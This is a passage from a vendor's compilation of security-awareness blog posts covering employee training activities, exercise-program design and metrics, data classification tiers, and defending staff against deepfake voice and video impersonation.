learn how to detect and remediate it. For more information, visit [ransomleak.com](https://ransomleak.com/). --- ### 15 Cyber Security Activities for Employees Source: https://ransomleak.com/blog/cyber-security-activities-for-employees/ Most security awareness programs fail for the same boring reason: they're boring. Employees sit through a 45-minute video about password hygiene, click "Next" through a quiz, and forget everything before lunch. You know it. They know it. The phishing click rates prove it. The fix isn't better videos. It's getting people out of their chairs and into scenarios that feel real. The 15 activities below are ones we've seen work in actual companies, with actual skeptical employees, producing actual measurable improvements. Some take 15 minutes. Some need a full hour. All of them beat another compliance slideshow. If you want a broader look at [cybersecurity training exercises and how to structure a program](/blog/cybersecurity-awareness-exercises/), we covered that separately. This post is the practical playbook: specific activities you can run this week. ## Quick-start activities (15-30 minutes) These are low-prep, high-energy formats for teams that haven't done interactive security training before. Start here. ### 1. Phishing email showdown Put 10-15 email screenshots on a projector. Teams get 60 seconds per email to decide: legit or phishing? They write down the red flags they spot. Points for correct calls, bonus points for naming specific indicators. This works well with groups of 4-20. Budget about 20 minutes. The competitive element is what makes it click. Time pressure forces the same fast-scan decisions people make in their actual inbox, and the group discussion after each email is where the real learning happens. Start with obvious fakes and escalate. Throw in at least two completely legitimate emails. Otherwise everyone defaults to "it's all phishing" and learns nothing. This is my favorite starter activity. Even the most skeptical rooms get loud by email three or four. ### 2. Password strength tournament Everyone creates their best password or passphrase, then you test each one against a projected strength checker. Simple, fast, weirdly competitive. Any group size works. 15 minutes is plenty. The moment someone's "unbreakable" password scores poorly, the room pays attention. The moment someone's silly passphrase scores higher than every complex-character creation, the lesson about length vs. complexity lands without a lecture. Push people toward passphrases. Show them why "correct-horse-battery-staple" beats "P@ssw0rd!" in both strength and memorability. That single demonstration sticks longer than any policy document. ### 3. Social engineering red flags Read [social engineering scenarios](/blog/social-engineering-attacks/) aloud. Participants raise their hand the instant they hear a red flag. First to spot it gets a point. Here's a sample: "Hi, I'm calling from your IT department. We've detected unusual activity on your account and need to reset your password immediately. Can you verify your current password so I can update it in our system?" The red flags pile up fast: urgency, requesting the actual password, vague "unusual activity," caller can't prove their identity. Groups of 5-30 work well, and 15 minutes is the sweet spot before energy dips. You'll need a stack of scenario cards prepared in advance. ### 4. URL detective Display URLs one at a time and let people call out which are real and which are malicious. This one teaches a concrete, inspectable skill that transfers directly to daily work. Some examples to get you started: - `https://microsoft-support.com` (fake) - `https://support.microsoft.com` (real) - `https://arnazon.com/deals` (fake, the 'rn' masquerades as 'm') Most employees have never actually looked at a URL structure before. Once you walk through the anatomy of a URL and show common deception patterns, they start checking. That habit alone prevents a significant chunk of [phishing attacks](/blog/phishing-simulation-training/). 15 minutes, any group size, projector required. ## Team challenge activities (30-60 minutes) These need more setup but create the strongest memories. Use them quarterly or for dedicated training sessions. ### 5. Security escape room Teams solve security-themed puzzles to "escape" a simulated breach scenario. Decoding encrypted messages, spotting phishing emails hidden in clues, identifying social engineering tactics. You can DIY the puzzles or buy pre-built kits. Groups of 4-8 per room, 45-60 minutes. Theme it around something plausible: "A ransomware attack has locked our systems. Find the backup password before the deadline." Mix security knowledge with general puzzle-solving so non-technical people can contribute. This is the most work to set up and the most talked-about activity afterward. People remember escape rooms for months. They remember compliance videos for minutes. ### 6. Incident response simulation Assign roles across the room: CISO, IT, Legal, Communications, HR. Present an evolving security incident with new information dropping every few minutes. Teams coordinate response decisions in real time. Starting scenario: "An employee reports their email is sending messages they didn't write. Thirty minutes later, a customer calls asking why they received a suspicious invoice." Budget 45 minutes for a group of 6-15. The value here isn't the security knowledge. It's exposing the coordination gaps that kill real incident response. Departments that have never talked through a breach together will fumble the handoffs. Better to discover that in a simulation than during an actual event. This is particularly relevant for teams building a [human firewall culture](/blog/human-firewall-training/) across departments. ### 7. Build a phishing email Flip the perspective. Small teams of 3-5 design the most convincing phishing email they can, targeting a fictional company. Present them, vote on the most convincing, then tear each one apart for detection clues. 30 minutes. Set hard rules: fictional targets only, no real malicious links. Focus discussion on what a defender would notice. Understanding attacker psychology is one of the fastest ways to improve defense. When people realize how easy it is to create a convincing fake, their guard goes up permanently. ### 8. Security jeopardy Classic Jeopardy format with security categories: Phishing, Passwords, Physical Security, Social Engineering, Incident Response. PowerPoint templates work fine. Online tools work better. Sample questions: - Phishing 200: "The technique of sending text message scams" (What is smishing?) - Passwords 400: "The recommended minimum number of characters for a secure password" (What is 12-16?) - Social Engineering 600: "The term for when an unauthorized person follows an employee through a secure door" (What is tailgating?) This handles big groups well (10-50, team-based) and runs 30-45 minutes. The familiar format means zero resistance. Nobody has to be convinced to play Jeopardy. It covers broad territory fast and works especially well as a review after more intensive training. ## Ongoing engagement activities One-off activities create spikes of awareness that fade. These programs keep security visible between training events. ### 9. Security champions program Recruit one volunteer per 25-50 employees to serve as a department security liaison. Give them extra training, a shared communication channel, and early access to security updates. They answer colleague questions and advocate for security practices. This works because peer influence outperforms top-down mandates. Asking a question feels safer when you're talking to Sarah from your team instead of "the IT department." Monthly 30-minute champion meetings keep the program alive. Recognize contributions visibly. The champions program takes ongoing investment, but it's the single highest-ROI activity on this list for organizations over 100 people. ### 10. Spot something, say something rewards Reward employees who report suspicious [emails](/blog/email-security-training/), flag security issues, or catch potential incidents. Public recognition plus small prizes: gift cards, extra PTO, a good parking spot. Track reports per month (should trend up), time to report (should trend down), and false positive rate (should be high, because you want people reporting uncertain items rather than ignoring them). Positive reinforcement increases reporting behavior. A reporting culture matters more than any individual employee getting every call right. ### 11. Monthly security newsletter challenge Drop a security puzzle into each monthly newsletter. Employees who solve it earn raffle entries. Draw winners quarterly. Challenge ideas: spot the phishing indicators in an email screenshot, find the security mistakes in an office photo, decode a simple cipher. 5-minute time investment per employee, organization-wide reach. This isn't going to transform your security posture on its own. But regular touchpoints keep security in peripheral vision between formal training, and gamification drives newsletter open rates up dramatically. ## Department-specific activities Generic training wastes time on irrelevant scenarios. These activities target the specific attacks each department actually faces. ### 12. Finance: invoice fraud detection Present invoice scenarios mixing real and fraudulent samples. Teams identify red flags: vendor address changes, unusual payment terms, different bank details than established vendors, pressure to process immediately. 30 minutes with the finance team. Focus on verifying vendor banking changes via known contact numbers (not the number on the suspicious invoice), recognizing urgency manipulation, and understanding wire transfer fraud patterns. Finance teams face business email compromise attempts constantly. This is the most practical activity for any department that handles payments. ### 13. Executives: whaling awareness Walk the executive team through sanitized [whaling attack](/blog/what-is-whaling-cybersecurity/) case studies. 30 minutes covering why executives are specifically targeted, what manipulation tactics look like at the C-suite level, and how to verify financial or sensitive requests. Key scenarios to cover: fake acquisition documents requiring secrecy, vendor payment emergencies, board communication compromises, and deepfake voice calls. That last one gets attention. Executives who think they're too savvy for phishing tend to take deepfake impersonation more seriously. ### 14. HR: social engineering for recruiters Recruiters receive more unsolicited external contacts than almost anyone in the organization. That makes them prime [social engineering](/blog/social-engineering-attacks/) targets. 30 minutes practicing identification of suspicious applicant behavior, fake references, and information harvesting disguised as job inquiries. Scenarios like an "applicant" probing for details about company systems during an interview, resumes with embedded malware, or a "reference check" that tries to extract employee information. ### 15. IT: privilege escalation scenarios IT staff have elevated access, and attackers know it. Role-play scenarios where "users" or "executives" request unauthorized access, password resets, or system changes under pressure. 45 minutes. Practice responses to "urgent" executive access requests, vendors asking for remote access credentials, and new employees claiming their account setup is incomplete. The goal is building the reflex to verify before acting, even when the request sounds reasonable and the person sounds impatient. ## How do you run security activities effectively? The activities above work. Running them poorly doesn't. A few things that separate good facilitation from wasted time. **Before you start.** Run through the full activity yourself first. Nothing kills credibility faster than fumbling the setup. Prepare for resistance. Some employees will arrive skeptical, arms crossed. Competition and humor get them participating before they realize they've dropped the attitude. Set the frame early: this is practice, not a test. Nobody gets in trouble for wrong answers. **While it's running.** Keep the pace up. Dead air between segments is where engagement goes to die. Acknowledge all attempts, not just correct ones. Drop brief mentions of real breaches when relevant. "This is how [company X] got hit" snaps attention back faster than any motivational talk. **Afterward.** Summarize three takeaways, max. Point people to resources for going deeper. Collect feedback on what worked and what fell flat, and actually use it next time. ## Which activity should you start with? If you've never done interactive security training, start with the **phishing email showdown** (#1). Low setup, high energy, universally relevant. Run it at your next team meeting. If the room responds well, schedule a **security escape room** (#5) or **incident response simulation** (#6) within the next quarter. If you already run activities but want better long-term results, invest in a **security champions program** (#9) and **reporting rewards** (#10). Those two create the cultural infrastructure that makes one-off activities stick. And if you want to see what professional interactive training looks like, with 3D simulations and scenarios your team will actually remember, [explore our exercise catalogue](/catalogue/). ## How do you measure whether security activities worked? Activities should produce measurable improvements, not just good feelings. Track before and after: [phishing simulation](/blog/phishing-simulation-training/) click rates, incident report volume, time to report suspicious activity, and survey confidence levels. Good signs that something is working: employees mention the activities to colleagues unprompted. People volunteer for follow-up sessions. Security-related questions increase. Simulation performance improves month over month. If none of that is happening, the activities need adjustment. Go back to the feedback you collected and figure out what missed. --- *Want to skip the DIY setup? Try our free [Phishing](/exercises/phishing/), [Social Engineering](/exercises/social-engineering/), [Vishing](/exercises/vishing/), or [Smishing](/exercises/smishing/) exercises and see what simulation-based training looks like when it's built by people who've been doing this for years. Browse our full [training catalogue](/catalogue/) for 60+ interactive exercises.* --- ### 12 Cybersecurity Training Exercises Source: https://ransomleak.com/blog/cybersecurity-awareness-exercises/ Security awareness exercises that actually work share one thing: they create practice, not just knowledge. The gap between knowing phishing exists and recognizing it in your inbox under deadline pressure is enormous. That gap is where breaches happen. Effective exercises bridge it through [realistic practice in safe environments](/blog/security-awareness-training-guide/). ## Why do exercises beat passive training? Passive training (videos, slideshows, policy documents) creates knowledge without skill. Employees can define phishing but still click malicious links because recognition under pressure requires practiced reflexes, not memorized definitions. We've seen this play out across hundreds of organizations, and the data tells the same story every time. | Training Type | Knowledge Transfer | Behavior Change | Retention | |--------------|-------------------|-----------------|-----------| | Video + Quiz | High | Low | Weeks | | Interactive Simulation | High | High | Months | | Repeated Practice | Moderate | Very High | Long-term | People learn by doing. That's not a slogan. It's [backed by research on training effectiveness](/blog/security-awareness-training-effectiveness/). Security exercises that force employees into realistic decision-making create lasting behavioral change that slides and quizzes never will. ## What types of security exercises are most effective? ### 1. Phishing simulations The most impactful single exercise type. Send realistic phishing emails, track who clicks, and provide immediate education. If you only do one thing on this list, [run phishing simulations](/blog/phishing-simulation-training/). What makes simulations effective: - Realistic scenarios matching actual threats your org faces - Immediate feedback at the moment of failure, not three days later in an email - Progressive difficulty as employees improve - Focus on reporting, not just avoiding clicks Where most programs go wrong: - Templates too obviously fake (everyone spots them, everyone feels smart, nobody learns) - Punishing failures instead of teaching - Running simulations annually instead of continuously - Ignoring reporting metrics entirely ### 2. Social engineering scenarios Phone-based ([vishing](/blog/vishing-awareness/)) and in-person exercises test whether employees verify identities before sharing information or granting access. Example scenarios worth running: - Caller claims to be IT support and requests a password reset - Visitor without a badge asks to be let into a secure area - Email appears to be from an executive requesting an urgent wire transfer ([BEC attacks](/blog/bec-training/)) These exercises reveal whether verification procedures hold up under [social pressure](/blog/social-engineering-attacks/), which is the only context that matters. ### 3. Tabletop exercises Discussion-based scenarios walk teams through incident response without technical testing. Run these quarterly at minimum. Ransomware response is a good starting point: who makes the payment decision, how do you communicate externally, what are recovery priorities? Data breach disclosure exercises cover regulatory notification, customer communication, and legal coordination. Executive compromise scenarios test your team's response when leadership accounts get hijacked ([whaling attacks](/blog/what-is-whaling-cybersecurity/) are increasingly common). Tabletops expose gaps in procedures and communication before real incidents reveal them painfully. ### 4. Technical skills exercises Hands-on practice with security tools: - Setting up multi-factor authentication - Using password managers correctly - [Recognizing suspicious URLs before clicking](/blog/phishing-detection/) - Encrypting sensitive communications These exercises build practical capabilities, not just awareness. The difference shows up in your incident data within months. ### 5. Email threat identification Dedicate sessions specifically to [email security](/blog/email-security-training/). Show employees real examples of malicious emails your organization has received (sanitized, obviously). Have them identify the red flags. Walk through the anatomy of convincing fakes, including [smishing](/blog/what-is-smishing-cybersecurity/) variants that arrive via text. This exercise type has an outsized impact because email remains the number one attack vector for most organizations. ### 6. Mobile device security drills Most employees access company resources from their phones. [Mobile security exercises](/blog/mobile-security-training/) cover app permission reviews, public Wi-Fi risks, and device loss scenarios. This blind spot trips up even security-conscious teams. ## How do you build a security exercise program? ### Start with baseline assessment Before training, measure current vulnerability. Run unannounced phishing simulations across the organization to establish: - Current click-through rate - Reporting rate (employees who flag suspicious emails) - Time between receiving and reporting - Department-level variation This baseline is non-negotiable. Without it, you cannot demonstrate improvement to leadership or identify your highest-risk groups. ### Design role-appropriate exercises Different roles face different threats. Generic training wastes time on irrelevant scenarios. Finance teams need business email compromise recognition, wire transfer verification procedures, and invoice fraud identification. Your [BEC training](/blog/bec-training/) program should be tailored specifically for them. Executives need [whaling attack](/blog/what-is-whaling-cybersecurity/) recognition, authority exploitation awareness, and incident communication protocols. They're the highest-value targets and often the least trained. IT staff need social engineering defense, secure system administration practices, and incident response procedures. They have the keys to the kingdom and attackers know it. ### Create a sustainable cadence Security awareness isn't an event. It's a process. | Exercise Type | Recommended Frequency | |--------------|----------------------| | Phishing simulations | Monthly | | Security tips/reminders | Weekly | | Tabletop exercises | Quarterly | | Comprehensive training refresh | Annually | Continuous reinforcement maintains awareness without creating fatigue. If you're looking for ready-made content to fill this schedule, browse the [security awareness training](/catalogue/security-awareness/) catalogue or the [free training options available](/blog/free-security-awareness-training/). ### Build psychological safety Employees who fear punishment for failing exercises will hide mistakes instead of reporting them. They'll resent security training. They'll game the system rather than learn from it. The fix: - Failures lead to education, not punishment - Reporting suspicious activity is celebrated publicly - Questions are welcomed, not judged - Learning is the explicit, stated goal This is the single biggest factor in whether your program succeeds or fails. Get this wrong and nothing else matters. ## How do you measure exercise effectiveness? ### Primary metrics | Metric | Starting Point | Good | Excellent | |--------|---------------|------|-----------| | Phishing click rate | 25-35% | <10% | <5% | | Report rate | 5-10% | >50% | >70% | | Time to report | Days | <4 hours | <30 min | ### Secondary indicators - Security incident volume trends - Employee sentiment toward security - [Compliance audit findings](/blog/compliance-training/) - Near-miss reports from employees ### Track trends, not snapshots Single measurements are less useful than trends. A 15% click rate improving to 8% over six months demonstrates program effectiveness better than any single data point. Report the trajectory, not the moment. ## Common pitfalls to avoid ### The "gotcha" culture trap Exercises designed to catch people create resentment. Employees who feel tricked become resistant to the entire program and less likely to report future mistakes. Frame exercises as practice opportunities instead. Celebrate improvement. Treat failures as learning moments. ### Generic, one-size-fits-all content Training about "hackers" and "cybercriminals" feels abstract. Scenarios involving your actual systems, vendors, and processes feel relevant. Customize scenarios to reflect real threats facing your organization and industry. If you need inspiration, [browse specific activity formats](/blog/cyber-security-activities-for-employees/) you can adapt. ### Annual-only training Awareness decays rapidly. Annual training creates a brief spike of vigilance followed by 11 months of decline. Maintain continuous, varied touchpoints throughout the year. ### Ignoring executive participation When executives exempt themselves from training, they signal that security isn't actually important. They also remain the highest-value targets without any practice defending themselves. Visible executive participation changes culture faster than any policy memo. ### Measuring completion instead of impact 100% training completion means nothing if click rates don't improve and reporting doesn't increase. Measure behavioral outcomes. [Track what actually matters](/blog/security-awareness-training-effectiveness/), not administrative checkboxes. ## Case study: manufacturing company transformation A 500-employee manufacturing company implemented a comprehensive exercise program after experiencing two successful phishing attacks in six months. Baseline state: 32% phishing simulation click rate, 4% suspicious email reporting rate, annual compliance video training. Program implemented: monthly phishing simulations with immediate feedback, quarterly department-specific scenarios, a security champion program with peer education, and recognition for threat reporters. Results after 12 months: 6% phishing simulation click rate (81% improvement), 68% suspicious email reporting rate (17x increase), zero successful phishing attacks, and employee security satisfaction up to 4.2/5 from 2.1/5. The transformation came from practice, not policy. Employees who regularly encountered simulated threats developed reflexes that protected them against real ones. ## Getting started this week Week 1-2 is assessment. Run a baseline phishing simulation. Survey employees about security awareness. Identify high-risk roles and departments. No training yet. Just measurement. Week 3-4 is planning. Select exercise platforms and content ([SCORM-compatible options](/blog/scorm-security-training/) integrate with your existing LMS). Develop role-specific training paths. Create a communication plan. Establish metrics and goals. Month 2-3 is launch. Roll out initial exercises to a pilot group. Gather feedback and adjust. Then expand organization-wide. After that, optimize continuously. Monitor metrics monthly. Update scenarios based on current threats. Recognize and reward security-conscious behavior. Build toward a [human firewall](/blog/human-firewall-training/) that strengthens with every exercise cycle. The organizations with the lowest breach rates aren't smarter. They practice more. --- *Want to see what interactive exercises feel like from the employee side? Try our free [Phishing](/exercises/phishing/), [Social Engineering](/exercises/social-engineering/), [Vishing](/exercises/vishing/), or [Business Email Compromise](/exercises/business-email-compromise/) exercises and compare the experience to whatever you're running today. Browse our full [training catalogue](/catalogue/) for 60+ interactive exercises across security awareness, privacy, AI security, and real-world incidents.* --- ### Data Classification Training for Employees Source: https://ransomleak.com/blog/data-classification-training/ An account manager at a healthcare company needed to share patient outcome data with a prospective partner. She opened the company's analytics dashboard, exported a CSV, and emailed it to the partner's Gmail address. The export included patient names, treatment dates, and billing codes. She did not realize any of this was in the file. She had only wanted the aggregate numbers. The company discovered the incident two weeks later during a routine DLP review. By then, the email had been forwarded internally at the partner organization. HIPAA breach notification was required. Legal costs, remediation, and fines totaled over $200,000. All because one employee could not tell the difference between aggregate statistics and protected health information in a spreadsheet. This type of incident happens constantly. Not because employees are careless, but because nobody taught them how to look at data and ask: "What am I actually holding?" ## What is data classification training? Data classification training teaches employees how to categorize information by its sensitivity level and apply the correct handling procedures for each category. A typical classification framework uses four tiers: Public, Internal, Confidential, and Restricted. Each tier maps to specific rules about who can access the data, how it can be shared, where it can be stored, and what happens if it leaks. IBM's 2024 Cost of a Data Breach report found that breaches involving misidentified or improperly classified data cost organizations an average of $223,000 more than breaches where data was properly categorized. Effective data classification training moves beyond policy recitation to give employees practical judgment: looking at a document, dataset, or email and recognizing which classification tier applies before they share it, store it, or forward it. ## Why employees misclassify data The failure mode is almost never "employee intentionally ignores policy." It is almost always one of three things: they do not understand the classification system, they do not realize what is in the data, or the system is too complicated to apply under normal working pressure. ### Classification policies that nobody reads Most organizations have a data classification policy somewhere in their intranet. It was written by legal, reviewed by compliance, approved by the CISO, and then placed where no employee will ever voluntarily read it. The policy uses phrases like "data whose unauthorized disclosure could cause significant harm to the organization's competitive position." Nobody opens a spreadsheet and thinks in those terms. Training needs to translate policy language into concrete examples. "Customer email addresses are Internal. Social Security numbers are Restricted. Published blog posts are Public." Specificity is more useful than definitions. ### Mixed-sensitivity data in one file The healthcare example at the top of this post is common because real-world data is messy. A single spreadsheet may contain public aggregate numbers alongside personally identifiable information. A sales report might combine general revenue figures with individual client contract values. A project document might mix publicly known product plans with unreleased acquisition targets. The highest-sensitivity element in any file determines the classification of the entire file. Employees need to know this rule, but more importantly, they need the habit of scanning data before sharing it. Our [data classification basics exercise](/exercises/data-classification-basics/) builds this scanning instinct through realistic scenarios. ### Overclassification as a dysfunction Some organizations see the opposite problem: employees classify everything as Confidential or Restricted to avoid getting in trouble. This creates its own damage. When everything is marked Confidential, nothing is treated as Confidential. Overclassification desensitizes people to labels, slows down legitimate work, and makes it harder to identify the data that genuinely needs protection. Training should address this explicitly. It is just as wrong to classify a public press release as Restricted as it is to email customer PII to an external partner. Both represent classification failures. ## How to build a practical classification framework The best classification systems are simple enough to apply under pressure and specific enough to produce consistent decisions across the organization. ### Four tiers are enough | Tier | Description | Example | Handling | |------|-------------|---------|----------| | **Public** | Information intended for external audiences | Marketing materials, published blog posts, job listings | No restrictions on sharing | | **Internal** | Business information not meant for outside the company | Org charts, internal announcements, meeting notes | Keep within the organization, no external sharing without approval | | **Confidential** | Sensitive business or customer data | Customer lists, financial reports, contracts, source code | Encrypt in transit and at rest, share only with authorized parties | | **Restricted** | Highest-sensitivity data with legal or regulatory implications | PII, PHI, payment card data, trade secrets, credentials | Strict access controls, encryption required, audit logging, breach notification if exposed | This framework covers most use cases. Adding more tiers (some organizations have seven or eight) increases precision on paper but decreases consistency in practice. Employees will not remember eight levels. They will remember four. ### Category-specific rules that people can follow For each tier, employees need to know three things: where they can store it, how they can share it, and what to do if they find it somewhere it should not be. **Storage.** Restricted data should never live in personal email folders, desktop files, or unapproved cloud services. This is where [Shadow IT](/blog/shadow-it-security-risks/) creates real risk. An employee who signs up for a free file-sharing tool and uploads a spreadsheet of customer records has just moved Restricted data outside the organization's security perimeter. Our [cloud sharing controls exercise](/exercises/cloud-sharing-controls/) covers this scenario. **Sharing.** Internal data can be shared within the company freely. Confidential data requires verification that the recipient has a business need. Restricted data typically requires management approval and must be sent through encrypted channels. Never over personal email. Never through consumer messaging apps. **Incident response.** If an employee finds Restricted data in a public Slack channel or realizes they sent Confidential data to the wrong recipient, they need to know who to contact and what to do. The answer should be simple: report it to [your security team] and do not try to fix it yourself. Attempting a cover-up always makes it worse. Our [data leakage exercise](/exercises/data-leakage/) simulates this exact moment. ## Where classification failures cause the most damage Abstract training about "data sensitivity" becomes concrete when employees see the consequences mapped to specific failure modes. ### Accidental external sharing Someone adds an outside partner to an internal Slack channel that contains Confidential project data. Someone shares a Google Drive folder with "anyone with the link" without checking what else is in the parent directory. Someone replies-all to an email thread that includes a Restricted attachment two levels deep in the chain. These are not exotic attack scenarios. They happen weekly in most organizations. The fix is not stricter technology controls alone, although [secure sharing practices](/exercises/secure-sharing-practices/) training helps. It is building the reflex to check before sharing: "Who will see this? What is in here?" ### Insider threats and data exfiltration [Insider threat detection](/blog/insider-threat-training/) depends partly on classification. An employee downloading 500 Internal documents is probably doing their job. An employee downloading 500 Restricted documents in the two weeks before their resignation is probably not. Without classification, security tools cannot distinguish between these two scenarios. DLP systems work by matching content patterns against classification rules. If the organization has not classified its data, the DLP system has nothing to enforce. Our [insider threat exercise](/exercises/insider-threat-intentional/) and [least privilege exercise](/exercises/least-privilege-awareness/) teach employees how classification connects to access control. ### Compliance violations with teeth Regulatory frameworks do not care whether an employee "meant to" expose data. GDPR fines are calculated based on the nature and sensitivity of the data involved. HIPAA breach notifications are triggered by unauthorized disclosure of protected health information, regardless of intent. Data classification is how organizations translate regulatory requirements into employee behavior. [GDPR training](/blog/gdpr-employee-training/) becomes actionable when employees can identify what constitutes personal data. [Compliance requirements](/blog/compliance-training/) become followable when employees know which tier their data falls into. ## Exercises that build classification instincts Reading about classification tiers is necessary but not sufficient. The skill only develops when employees practice applying it to realistic scenarios under mild time pressure. ### Document review exercises Present employees with sample files (spreadsheets, PDFs, emails) that contain mixed-sensitivity data. Ask them to identify the classification tier and explain why. This forces the scanning habit: looking through a document for sensitive fields before deciding how to handle it. Our [data classification basics exercise](/exercises/data-classification-basics/) includes scenarios from different departments, because the marketing team and the finance team encounter different types of sensitive data. ### Sharing decision scenarios Give employees realistic sharing requests. "Your colleague at a partner company asks for last quarter's churn data. Here is the spreadsheet. Can you send it?" The spreadsheet contains aggregate churn numbers (Internal) alongside individual customer account details (Confidential). The correct answer depends on which data they extract and how they share it. ### Incident response practice Simulate a classification failure and see how employees respond. "You just realized the report you shared with a vendor includes employee Social Security numbers in a hidden column. What do you do?" The goal is not to test whether they can recite the incident response policy. It is to see whether they act on it under pressure. ## Measuring classification competency ### Classification accuracy tests Present employees with 20 data samples and ask them to classify each one. Measure accuracy by tier. Most organizations find that employees do well on the extremes (Public and Restricted) but struggle with the Internal/Confidential boundary. That boundary is where targeted training should focus. ### DLP incident rates Track the number of DLP policy violations per quarter. These are events where an employee attempted to share or store classified data in an unauthorized way and the system blocked it. A decreasing trend after training suggests the training is working. A persistent rate suggests the training did not address the right scenarios. ### Time-to-report for classification incidents When a classification mistake occurs, how quickly does the employee report it? Fast reporting limits damage. Delayed reporting usually means the employee either did not realize the mistake or hoped nobody would notice. Training should address both failure modes. ## Connecting classification to the bigger security picture Data classification does not exist in a vacuum. It connects to access control, incident response, [shadow IT governance](/exercises/shadow-it-awareness/), [third-party vendor management](/exercises/third-party-app-oauth-risks/), and privacy compliance. When employees understand classification, other security concepts become easier to teach. Least privilege access makes intuitive sense once you know what Restricted data is: of course only authorized people should see it. Encryption becomes practical once you can identify what needs encrypting. Incident reporting becomes less intimidating when you understand that early disclosure is always better than delayed discovery. The organizations that handle data well are not the ones with the most sophisticated DLP tools. They are the ones where an employee opens a spreadsheet and thinks, before sharing it: "What classification is this? Who should see it? Am I sending it the right way?" That instinct is not natural. It is trained. --- *Build data classification instincts in your team. Start with our [data classification basics exercise](/exercises/data-classification-basics/) and [data leakage prevention exercise](/exercises/data-leakage/), then practice the redact-before-share workflow with [Metadata Awareness](/exercises/metadata-awareness/) and [Log Sensitivity Awareness](/exercises/log-sensitivity-awareness/). Explore our [security awareness catalogue](/catalogue/security-awareness/) and [privacy and compliance catalogue](/catalogue/privacy-compliance/) for comprehensive data protection training.* --- ### Deepfake Social Engineering Training Source: https://ransomleak.com/blog/deepfake-social-engineering/ Your CFO joins a video call with the Hong Kong finance team. She asks them to execute a series of wire transfers totaling $25 million. Her face, her voice, her mannerisms. The team complies. The entire call was a deepfake. This happened to Arup, the British engineering firm, in early 2024. The attackers recreated the CFO and several other executives using publicly available video footage. Every person on that call except the target was synthetic. ## What is deepfake social engineering? Deepfake social engineering is the use of AI-generated synthetic media to impersonate real people during social engineering attacks. Attackers use machine learning models to clone voices, generate realistic video of specific individuals, or create fake images to deceive targets into transferring funds, sharing credentials, or disclosing sensitive information. According to Deloitte, deepfake-related fraud losses reached $12.3 billion in 2023 and are projected to exceed $40 billion by 2027. A 2024 survey by Regula found that 49% of businesses worldwide had experienced deepfake audio or video fraud. Unlike traditional [social engineering attacks](/blog/social-engineering-attacks/) that rely on text and psychological manipulation, deepfakes add a layer of sensory trust. Humans are wired to believe what they see and hear. When both channels confirm the same identity, skepticism shuts off. ## How does voice cloning work in attacks? Voice cloning has become the most accessible deepfake weapon. Microsoft's VALL-E model demonstrated in 2023 that three seconds of audio is enough to clone a person's voice. Open-source alternatives have only lowered the bar since then. Attackers pull voice samples from earnings calls, conference talks, YouTube videos, podcast appearances, and even voicemail greetings. A CEO who speaks at one public event per quarter provides plenty of material. The resulting clone captures tone, cadence, accent, and speech patterns well enough to fool colleagues who have worked with the person for years. The most common attack pattern is simple: a phone call. The cloned voice of a CEO or CFO calls an employee in finance and requests an urgent wire transfer. This is a turbocharged version of a [vishing attack](/blog/vishing-awareness/). The employee hears their boss's voice. They comply. In 2023, a Canadian energy company lost $243,000 when attackers used cloned audio of the CEO's voice to instruct the UK subsidiary's managing director to wire funds to a Hungarian supplier. The managing director recognized the voice, including the CEO's slight German accent. ## Why are video deepfakes harder to spot than you think? The "deepfakes look obviously fake" assumption died sometime around 2024. Real-time face-swapping tools can now run on consumer hardware during live video calls. The Arup attack demonstrated that even multi-person video calls can be fully synthetic. Two technical advances made this possible. First, generative adversarial networks (GANs) improved to the point where generated faces pass casual inspection. Second, real-time rendering pipelines dropped latency below the threshold where participants notice delays. A slight video lag on a Zoom call is normal. Nobody questions it. The detection challenge compounds in business settings. Employees are accustomed to slightly degraded video quality, network jitter, and poor lighting on calls. These artifacts that might signal manipulation are indistinguishable from normal video call problems. People also pay less attention to visual details during routine meetings. They're multitasking, checking email, glancing at the call periodically. The attacks hitting organizations right now rarely need Hollywood-quality deepfakes. They need "good enough" fakes in contexts where the target has no reason to be suspicious. ## What attack patterns should employees recognize? Deepfake social engineering follows predictable patterns. The technology changes fast, but the psychology behind the attacks builds on the same manipulation techniques that power [BEC attacks](/blog/bec-training/) and [whaling attacks](/blog/what-is-whaling-cybersecurity/). ### The urgent video call An executive joins a video call and requests immediate action: a wire transfer, a credential reset, an exception to policy. The call is scheduled at short notice. The executive mentions being "between meetings" or "traveling" to explain why they can't follow normal channels. The key indicator: they resist any attempt to move to an alternative verification method. ### The voice authorization An attacker calls pretending to be a known executive and verbally authorizes something that normally requires written approval. The target hears a familiar voice and treats it as verification. This is especially effective for processes where "manager approval" is traditionally given over the phone. Finance teams, executive assistants, and help desk staff face the highest risk. ### The vendor impersonation Instead of impersonating an internal executive, the attacker clones a vendor contact's voice and calls to update payment details. This combines deepfake technology with the invoice manipulation tactics from [business email compromise](/blog/bec-training/). The employee recognizes the voice of someone they've spoken with before, so the request to change a bank account number seems routine. ### The IT support pretext An attacker clones the voice of an IT help desk manager and calls employees requesting remote access credentials, MFA resets, or software installations. The target complies because "IT called me" feels legitimate. Combined with spoofed caller ID, this attack is difficult to distinguish from genuine IT support. ## How can employees verify identity in a deepfake era? Verification has to move beyond "I recognize that person." In a world where faces and voices can be synthesized, identity confirmation requires out-of-band checks. **Use a separate channel.** If someone requests something unusual on a video call, hang up and call them back on a known number. Not the number they called from. Not the number in their email signature. The number you have stored in your contacts or your company's directory. This single habit would have prevented the Arup attack. **Establish code words.** Some organizations now assign rotating code words or phrases that executives must use during calls involving financial transactions. The code word changes weekly or monthly and is shared through a secure internal channel. A deepfake can replicate a voice, but it can't produce a word it doesn't know. **Ask out-of-context questions.** "What did we discuss in yesterday's one-on-one?" or "Where are we having the offsite next month?" A deepfake operator working from public information won't have answers to questions about internal, non-public events. The goal isn't to interrogate your boss. It's to ask something that a real person would answer instantly and an impersonator would fumble. **Watch for policy violations.** Any request to bypass normal approval workflows should trigger verification regardless of who appears to be asking. Legitimate executives will understand the pause. If the "executive" on the call pressures you to skip verification, that itself is a red flag. **Trust your instincts about timing.** Deepfake attacks cluster around high-pressure moments: end of quarter, during acquisitions, when executives are traveling. Attackers choose these windows because urgency makes people skip verification. If a request feels unusually time-sensitive, slow down. ## What makes deepfake detection training different? Standard [security awareness training](/blog/security-awareness-training-guide/) teaches employees to inspect emails, check URLs, and report suspicious messages. Deepfake training requires different skills because the attack surface is different. Employees need to understand that video calls and phone calls are no longer proof of identity. This is a fundamental shift. For decades, "call them and confirm" was the gold standard for verification. That advice now comes with a caveat: call them on a number you independently verify, and confirm through a detail the caller cannot have researched. Training should include exposure to deepfake examples. Employees who have never seen a convincing deepfake will assume they can spot one. Showing side-by-side comparisons of real and synthetic video recalibrates that confidence. Our [Whaling With A Deepfake 